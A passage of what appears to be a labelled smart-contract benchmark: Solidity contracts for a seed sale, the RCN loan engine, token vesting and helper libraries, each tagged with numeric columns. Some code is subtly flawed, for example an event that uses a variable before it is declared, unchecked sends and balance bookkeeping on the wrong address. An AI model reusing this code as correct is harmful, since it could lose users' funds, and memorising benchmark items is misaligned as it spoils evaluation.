return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 60 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function tranferOwnership(address _newOwner) public onlyOwner() {
owner = _newOwner;
}
}
contract Token {
function mintTokens(address _atAddress, uint256 _amount) public;
}
contract BlocksquareSeedSale is owned {
using SafeMath for uint256;
event Received(address indexed _from, uint256 _amount);
event FundsReturned(address indexed _to, uint256 _amount);
event TokensGiven(address indexed _to, uint256 _amount);
event ErrorReturningEth(address _to, uint256 _amount);
uint256 public currentAmountRaised;
uint256 public valueInUSD;
uint256 public startTime;
address public recipient;
uint256 nextParticipantIndex;
uint256 currentAmountOfTokens;
bool icoHasStarted;
bool icoHasClosed;
Token reward;
uint256[] tokensInTranch = [250000 * 10**18, 500000 * 10**18, 1000000 * 10**18, 1500000 * 10**18, 2000000 * 10**18, 3000000 * 10**18, 4000000 * 10**18, 5500000 * 10**18, 7000000 * 10**18, 10000000 * 10**18];
uint256[] priceOfTokenInUSD = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
uint256 maxAmountOfTokens = 10000000 * 10 ** 18;
uint256 DAY = 60 * 60 * 24;
uint256 MAXIMUM = 152 ether;
uint256 MAXIMUM24H = 2 ether;
mapping(address => uint256) contributed;
mapping(uint256 => address) participantIndex;
mapping(address => bool) canRecieveTokens;
function BlocksquareSeedSale() public {
owner = msg.sender;
recipient = msg.sender;
reward = Token(0x509A38b7a1cC0dcd83Aa9d06214663D9eC7c7F4a);
}
function () payable public {
require(reward != address(0));
require(msg.value > 0);
require(icoHasStarted);
require(!icoHasClosed);
require(valueInUSD != 0);
require(canRecieveTokens[msg.sender]);
if(block.timestamp < startTime.add(DAY)) {
require(contributed[msg.sender].add(msg.value) <= MAXIMUM24H);
}
else {
require(contributed[msg.sender].add(msg.value) <= MAXIMUM);
}
if(contributed[msg.sender] == 0) {
participantIndex[nextParticipantIndex] = msg.sender;
nextParticipantIndex += 1;
}
contributed[msg.sender] = contributed[msg.sender].add(msg.value);
currentAmountRaised = currentAmountRaised.add(msg.value);
uint256 tokens = tokensToMint(msg.value);
if(currentAmountOfTokens.add(tokens) >= maxAmountOfTokens) {
icoHasClosed = true;
}
reward.mintTokens(msg.sender, tokens);
currentAmountOfTokens = currentAmountOfTokens.add(tokens);
Received(msg.sender, msg.value);
TokensGiven(msg.sender, tokens);
if(this.balance >= 100 ether) {
if(!recipient.send(this.balance)) {
ErrorReturningEth(recipient, this.balance);
}
}
}
function tokensToMint(uint256 _amountOfWei) private returns (uint256) {
uint256 raisedTokens = currentAmountOfTokens;
uint256 left = _amountOfWei;
uint256 rewardAmount = 0;
for(uint8 i = 0; i < tokensInTranch.length; i++) {
if (tokensInTranch[i] >= raisedTokens) {
uint256 tokensPerEth = valueInUSD.div(priceOfTokenInUSD[i]);
uint256 tokensLeft = tokensPerEth.mul(left);
if((raisedTokens.add(tokensLeft)) <= tokensInTranch[i]) {
rewardAmount = rewardAmount.add(tokensLeft);
left = 0;
break;
}
else {
uint256 toNext = tokensInTranch[i].sub(raisedTokens);
uint256 WeiCost = toNext.div(tokensPerEth);
rewardAmount = rewardAmount.add(toNext);
raisedTokens = raisedTokens.add(toNext);
left = left.sub(WeiCost);
}
}
}
if(left != 0) {
if(msg.sender.send(left)) {
FundsReturned(msg.sender, left);
currentAmountRaised = currentAmountRaised.sub(left);
contributed[msg.sender] = contributed[msg.sender].sub(left);
}else {
ErrorReturningEth(msg.sender, left);
}
}
return rewardAmount;
}
function startICO(uint256 _value) public onlyOwner {
require(!icoHasStarted);
valueInUSD = _value;
startTime = block.timestamp;
icoHasStarted = true;
}
function closeICO() public onlyOwner {
require(icoHasStarted);
icoHasClosed = true;
}
function addAllowanceToRecieveToken(address[] _addresses) public onlyOwner {
for(uint256 i = 0; i < _addresses.length; i++) {
canRecieveTokens[_addresses[i]] = true;
}
}
function withdrawEther() public onlyOwner {
if(!recipient.send(this.balance)) {
ErrorReturningEth(recipient, this.balance);
}
}
function getToken() constant public returns (address _tokenAddress) {
return address(reward);
}
function isCrowdsaleOpen() constant public returns (bool _isOpened) {
return (!icoHasClosed && icoHasStarted);
}
function hasCrowdsaleStarted() constant public returns (bool _hasStarted) {
return icoHasStarted;
}
function amountContributed(address _contributor) constant public returns(uint256 _contributedUntilNow){
return contributed[_contributor];
}
function numberOfContributors() constant public returns(uint256 _numOfContributors){
return nextParticipantIndex;
}
function numberOfTokens() constant public returns(uint256) {
return currentAmountOfTokens;
}
function hasAllowanceToRecieveTokens(address _address) constant public returns(bool) {
return canRecieveTokens[_address];
}
function endOf24H() constant public returns(uint256) {
return startTime.add(DAY);
}
} | 0 | 1,969 |
pragma solidity ^0.4.19;
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() public view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) public returns (bool);
}
contract ERC721 {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function totalSupply() public view returns (uint256 _totalSupply);
function balanceOf(address _owner) public view returns (uint _balance);
function ownerOf(uint256) public view returns (address owner);
function approve(address, uint256) public returns (bool);
function takeOwnership(uint256) public returns (bool);
function transfer(address, uint256) public returns (bool);
function setApprovalForAll(address _operator, bool _approved) public returns (bool);
function getApproved(uint256 _tokenId) public view returns (address);
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function tokenMetadata(uint256 _tokenId) public view returns (string info);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
}
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0));
owner = _to;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 3;
event NewSymbol(bytes32 _currency, string _ticker);
struct Symbol {
string ticker;
bool supported;
}
mapping(bytes32 => Symbol) public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bytes32) {
NewSymbol(currency, ticker);
bytes32 currency = keccak256(ticker);
currencies[currency] = Symbol(ticker, true);
return currency;
}
function supported(bytes32 symbol) public view returns (bool) {
return currencies[symbol].supported;
}
}
contract RpSafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
function max(uint256 a, uint256 b) internal pure returns(uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
}
contract TokenLockable is RpSafeMath, Ownable {
mapping(address => uint256) public lockedTokens;
function lockTokens(address token, uint256 amount) internal {
lockedTokens[token] = safeAdd(lockedTokens[token], amount);
}
function unlockTokens(address token, uint256 amount) internal {
lockedTokens[token] = safeSubtract(lockedTokens[token], amount);
}
function withdrawTokens(Token token, address to, uint256 amount) public onlyOwner returns (bool) {
require(safeSubtract(token.balanceOf(this), lockedTokens[token]) >= amount);
require(to != address(0));
return token.transfer(to, amount);
}
}
contract NanoLoanEngine is ERC721, Engine, Ownable, TokenLockable {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
uint256 public constant VERSION = 232;
string public constant VERSION_NAME = "Basalt";
uint256 private activeLoans = 0;
mapping(address => uint256) private lendersBalance;
function name() public view returns (string _name) {
_name = "RCN - Nano loan engine - Basalt 232";
}
function symbol() public view returns (string _symbol) {
_symbol = "RCN-NLE-232";
}
function totalSupply() public view returns (uint _totalSupply) {
_totalSupply = activeLoans;
}
function balanceOf(address _owner) public view returns (uint _balance) {
_balance = lendersBalance[_owner];
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalLoans = loans.length - 1;
uint256 resultIndex = 0;
uint256 loanId;
for (loanId = 0; loanId <= totalLoans; loanId++) {
if (loans[loanId].lender == _owner && loans[loanId].status == Status.lent) {
result[resultIndex] = loanId;
resultIndex++;
}
}
return result;
}
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operators[_owner][_operator];
}
function tokenMetadata(uint256 index) public view returns (string) {
return loans[index].metadata;
}
function tokenMetadataHash(uint256 index) public view returns (bytes32) {
return keccak256(loans[index].metadata);
}
Token public rcn;
bool public deprecated;
event CreatedLoan(uint _index, address _borrower, address _creator);
event ApprovedBy(uint _index, address _address);
event Lent(uint _index, address _lender, address _cosigner);
event DestroyedBy(uint _index, address _address);
event PartialPayment(uint _index, address _sender, address _from, uint256 _amount);
event TotalPayment(uint _index);
function NanoLoanEngine(Token _rcn) public {
owner = msg.sender;
rcn = _rcn;
loans.length++;
}
struct Loan {
Status status;
Oracle oracle;
address borrower;
address lender;
address creator;
address cosigner;
uint256 amount;
uint256 interest;
uint256 punitoryInterest;
uint256 interestTimestamp;
uint256 paid;
uint256 interestRate;
uint256 interestRatePunitory;
uint256 dueTime;
uint256 duesIn;
bytes32 currency;
uint256 cancelableAt;
uint256 lenderBalance;
address approvedTransfer;
uint256 expirationRequest;
string metadata;
mapping(address => bool) approbations;
}
mapping(address => mapping(address => bool)) private operators;
mapping(bytes32 => uint256) public identifierToIndex;
Loan[] private loans;
function createLoan(Oracle _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate,
uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256) {
require(!deprecated);
require(_cancelableAt <= _duesIn);
require(_oracleContract != address(0) || _currency == 0x0);
require(_borrower != address(0));
require(_amount != 0);
require(_interestRatePunitory != 0);
require(_interestRate != 0);
require(_expirationRequest > block.timestamp);
var loan = Loan(Status.initial, _oracleContract, _borrower, 0x0, msg.sender, 0x0, _amount, 0, 0, 0, 0, _interestRate,
_interestRatePunitory, 0, _duesIn, _currency, _cancelableAt, 0, 0x0, _expirationRequest, _metadata);
uint index = loans.push(loan) - 1;
CreatedLoan(index, _borrower, msg.sender);
bytes32 identifier = getIdentifier(index);
require(identifierToIndex[identifier] == 0);
identifierToIndex[identifier] = index;
if (msg.sender == _borrower) {
approveLoan(index);
}
return index;
}
function ownerOf(uint256 index) public view returns (address owner) { owner = loans[index].lender; }
function getTotalLoans() public view returns (uint256) { return loans.length; }
function getOracle(uint index) public view returns (Oracle) { return loans[index].oracle; }
function getBorrower(uint index) public view returns (address) { return loans[index].borrower; }
function getCosigner(uint index) public view returns (address) { return loans[index].cosigner; }
function getCreator(uint index) public view returns (address) { return loans[index].creator; }
function getAmount(uint index) public view returns (uint256) { return loans[index].amount; }
function getPunitoryInterest(uint index) public view returns (uint256) { return loans[index].punitoryInterest; }
function getInterestTimestamp(uint index) public view returns (uint256) { return loans[index].interestTimestamp; }
function getPaid(uint index) public view returns (uint256) { return loans[index].paid; }
function getInterestRate(uint index) public view returns (uint256) { return loans[index].interestRate; }
function getInterestRatePunitory(uint index) public view returns (uint256) { return loans[index].interestRatePunitory; }
function getDueTime(uint index) public view returns (uint256) { return loans[index].dueTime; }
function getDuesIn(uint index) public view returns (uint256) { return loans[index].duesIn; }
function getCancelableAt(uint index) public view returns (uint256) { return loans[index].cancelableAt; }
function getApprobation(uint index, address _address) public view returns (bool) { return loans[index].approbations[_address]; }
function getStatus(uint index) public view returns (Status) { return loans[index].status; }
function getLenderBalance(uint index) public view returns (uint256) { return loans[index].lenderBalance; }
function getApproved(uint index) public view returns (address) {return loans[index].approvedTransfer; }
function getCurrency(uint index) public view returns (bytes32) { return loans[index].currency; }
function getExpirationRequest(uint index) public view returns (uint256) { return loans[index].expirationRequest; }
function getInterest(uint index) public view returns (uint256) { return loans[index].interest; }
function getIdentifier(uint index) public view returns (bytes32) {
Loan memory loan = loans[index];
return buildIdentifier(loan.oracle, loan.borrower, loan.creator, loan.currency, loan.amount, loan.interestRate,
loan.interestRatePunitory, loan.duesIn, loan.cancelableAt, loan.expirationRequest, loan.metadata);
}
function buildIdentifier(Oracle oracle, address borrower, address creator, bytes32 currency, uint256 amount, uint256 interestRate,
uint256 interestRatePunitory, uint256 duesIn, uint256 cancelableAt, uint256 expirationRequest, string metadata) view returns (bytes32) {
return keccak256(this, oracle, borrower, creator, currency, amount, interestRate, interestRatePunitory, duesIn,
cancelableAt, expirationRequest, metadata);
}
function isApproved(uint index) public view returns (bool) {
Loan storage loan = loans[index];
return loan.approbations[loan.borrower];
}
function approveLoan(uint index) public returns(bool) {
Loan storage loan = loans[index];
require(loan.status == Status.initial);
loan.approbations[msg.sender] = true;
ApprovedBy(index, msg.sender);
return true;
}
function approveLoanIdentifier(bytes32 identifier) public returns (bool) {
uint256 index = identifierToIndex[identifier];
require(index != 0);
return approveLoan(index);
}
function registerApprove(bytes32 identifier, uint8 v, bytes32 r, bytes32 s) public returns (bool) {
uint256 index = identifierToIndex[identifier];
require(index != 0);
Loan storage loan = loans[index];
require(loan.borrower == ecrecover(keccak256("\x19Ethereum Signed Message:\n32", identifier), v, r, s));
loan.approbations[loan.borrower] = true;
ApprovedBy(index, loan.borrower);
return true;
}
function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.initial);
require(isApproved(index));
require(block.timestamp <= loan.expirationRequest);
loan.lender = msg.sender;
loan.dueTime = safeAdd(block.timestamp, loan.duesIn);
loan.interestTimestamp = block.timestamp;
loan.status = Status.lent;
Transfer(0x0, loan.lender, index);
activeLoans += 1;
lendersBalance[loan.lender] += 1;
if (loan.cancelableAt > 0)
internalAddInterest(loan, safeAdd(block.timestamp, loan.cancelableAt));
uint256 transferValue = convertRate(loan.oracle, loan.currency, oracleData, loan.amount);
require(rcn.transferFrom(msg.sender, loan.borrower, transferValue));
if (cosigner != address(0)) {
loan.cosigner = address(uint256(cosigner) + 2);
require(cosigner.requestCosign(this, index, cosignerData, oracleData));
require(loan.cosigner == address(cosigner));
}
Lent(index, loan.lender, cosigner);
return true;
}
function cosign(uint index, uint256 cost) external returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.lent && (loan.dueTime - loan.duesIn) == block.timestamp);
require(loan.cosigner != address(0));
require(loan.cosigner == address(uint256(msg.sender) + 2));
loan.cosigner = msg.sender;
require(rcn.transferFrom(loan.lender, msg.sender, cost));
return true;
}
function destroy(uint index) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status != Status.destroyed);
require(msg.sender == loan.lender || (msg.sender == loan.borrower && loan.status == Status.initial));
DestroyedBy(index, msg.sender);
if (loan.status != Status.initial) {
lendersBalance[loan.lender] -= 1;
activeLoans -= 1;
Transfer(loan.lender, 0x0, index);
}
loan.status = Status.destroyed;
return true;
}
function destroyIdentifier(bytes32 identifier) public returns (bool) {
uint256 index = identifierToIndex[identifier];
require(index != 0);
return destroy(index);
}
function transfer(address to, uint256 index) public returns (bool) {
Loan storage loan = loans[index];
require(msg.sender == loan.lender || msg.sender == loan.approvedTransfer || operators[loan.lender][msg.sender]);
require(to != address(0));
loan.lender = to;
loan.approvedTransfer = address(0);
lendersBalance[msg.sender] -= 1;
lendersBalance[to] += 1;
Transfer(loan.lender, to, index);
return true;
}
function takeOwnership(uint256 _index) public returns (bool) {
return transfer(msg.sender, _index);
}
function transferFrom(address from, address to, uint256 index) public returns (bool) {
require(loans[index].lender == from);
return transfer(to, index);
}
function approve(address to, uint256 index) public returns (bool) {
Loan storage loan = loans[index];
require(msg.sender == loan.lender);
loan.approvedTransfer = to;
Approval(msg.sender, to, index);
return true;
}
function setApprovalForAll(address _operator, bool _approved) public returns (bool) {
operators[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
return true;
}
function getPendingAmount(uint index) public returns (uint256) {
addInterest(index);
return getRawPendingAmount(index);
}
function getRawPendingAmount(uint index) public view returns (uint256) {
Loan memory loan = loans[index];
return safeSubtract(safeAdd(safeAdd(loan.amount, loan.interest), loan.punitoryInterest), loan.paid);
}
function calculateInterest(uint256 timeDelta, uint256 interestRate, uint256 amount) internal pure returns (uint256 realDelta, uint256 interest) {
if (amount == 0) {
interest = 0;
realDelta = timeDelta;
} else {
interest = safeMult(safeMult(100000, amount), timeDelta) / interestRate;
realDelta = safeMult(interest, interestRate) / (amount * 100000);
}
}
function internalAddInterest(Loan storage loan, uint256 timestamp) internal {
if (timestamp > loan.interestTimestamp) {
uint256 newInterest = loan.interest;
uint256 newPunitoryInterest = loan.punitoryInterest;
uint256 newTimestamp;
uint256 realDelta;
uint256 calculatedInterest;
uint256 deltaTime;
uint256 pending;
uint256 endNonPunitory = min(timestamp, loan.dueTime);
if (endNonPunitory > loan.interestTimestamp) {
deltaTime = endNonPunitory - loan.interestTimestamp;
if (loan.paid < loan.amount) {
pending = loan.amount - loan.paid;
} else {
pending = 0;
}
(realDelta, calculatedInterest) = calculateInterest(deltaTime, loan.interestRate, pending);
newInterest = safeAdd(calculatedInterest, newInterest);
newTimestamp = loan.interestTimestamp + realDelta;
}
if (timestamp > loan.dueTime) {
uint256 startPunitory = max(loan.dueTime, loan.interestTimestamp);
deltaTime = timestamp - startPunitory;
uint256 debt = safeAdd(loan.amount, newInterest);
pending = min(debt, safeSubtract(safeAdd(debt, newPunitoryInterest), loan.paid));
(realDelta, calculatedInterest) = calculateInterest(deltaTime, loan.interestRatePunitory, pending);
newPunitoryInterest = safeAdd(newPunitoryInterest, calculatedInterest);
newTimestamp = startPunitory + realDelta;
}
if (newInterest != loan.interest || newPunitoryInterest != loan.punitoryInterest) {
loan.interestTimestamp = newTimestamp;
loan.interest = newInterest;
loan.punitoryInterest = newPunitoryInterest;
}
}
}
function addInterest(uint index) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.lent);
internalAddInterest(loan, block.timestamp);
}
function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.lent);
addInterest(index);
uint256 toPay = min(getPendingAmount(index), _amount);
PartialPayment(index, msg.sender, _from, toPay);
loan.paid = safeAdd(loan.paid, toPay);
if (getRawPendingAmount(index) == 0) {
TotalPayment(index);
loan.status = Status.paid;
lendersBalance[loan.lender] -= 1;
activeLoans -= 1;
Transfer(loan.lender, 0x0, index);
}
uint256 transferValue = convertRate(loan.oracle, loan.currency, oracleData, toPay);
require(transferValue > 0 || toPay < _amount);
lockTokens(rcn, transferValue);
require(rcn.transferFrom(msg.sender, this, transferValue));
loan.lenderBalance = safeAdd(transferValue, loan.lenderBalance);
return true;
}
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
uint256 rate;
uint256 decimals;
(rate, decimals) = oracle.getRate(currency, data);
require(decimals <= RCN_DECIMALS);
return (safeMult(safeMult(amount, rate), (10**(RCN_DECIMALS-decimals)))) / PRECISION;
}
}
function withdrawal(uint index, address to, uint256 amount) public returns (bool) {
Loan storage loan = loans[index];
require(msg.sender == loan.lender);
loan.lenderBalance = safeSubtract(loan.lenderBalance, amount);
require(rcn.transfer(to, amount));
unlockTokens(rcn, amount);
return true;
}
function withdrawalList(uint256[] memory loanIds, address to) public returns (uint256) {
uint256 inputId;
uint256 totalWithdraw = 0;
for (inputId = 0; inputId < loanIds.length; inputId++) {
Loan storage loan = loans[loanIds[inputId]];
if (loan.lender == msg.sender) {
totalWithdraw += loan.lenderBalance;
loan.lenderBalance = 0;
}
}
require(rcn.transfer(to, totalWithdraw));
unlockTokens(rcn, totalWithdraw);
return totalWithdraw;
}
function setDeprecated(bool _deprecated) public onlyOwner {
deprecated = _deprecated;
}
} | 0 | 671 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenVesting is Ownable{
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
address public rollback;
bool public revocable;
uint256 public currentBalance;
bool public initialized = false;
uint256 public constant initialTokens = 1000000*10**8;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
uint256 public totalBalance;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _rollback,
ERC20Basic _token
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
token = _token;
rollback = _rollback;
}
function initialize() public onlyOwner {
require(tokensAvailable() == initialTokens);
currentBalance = token.balanceOf(this);
totalBalance = currentBalance.add(released[token]);
initialized = true;
}
function tokensAvailable() public constant returns (uint256) {
return token.balanceOf(this);
}
function release() public {
require(initialized);
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke() public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount();
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(rollback, refund);
emit Revoked();
}
function releasableAmount() public returns (uint256) {
return vestedAmount().sub(released[token]);
}
function vestedAmount() public returns (uint256) {
currentBalance = token.balanceOf(this);
totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 92 |
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
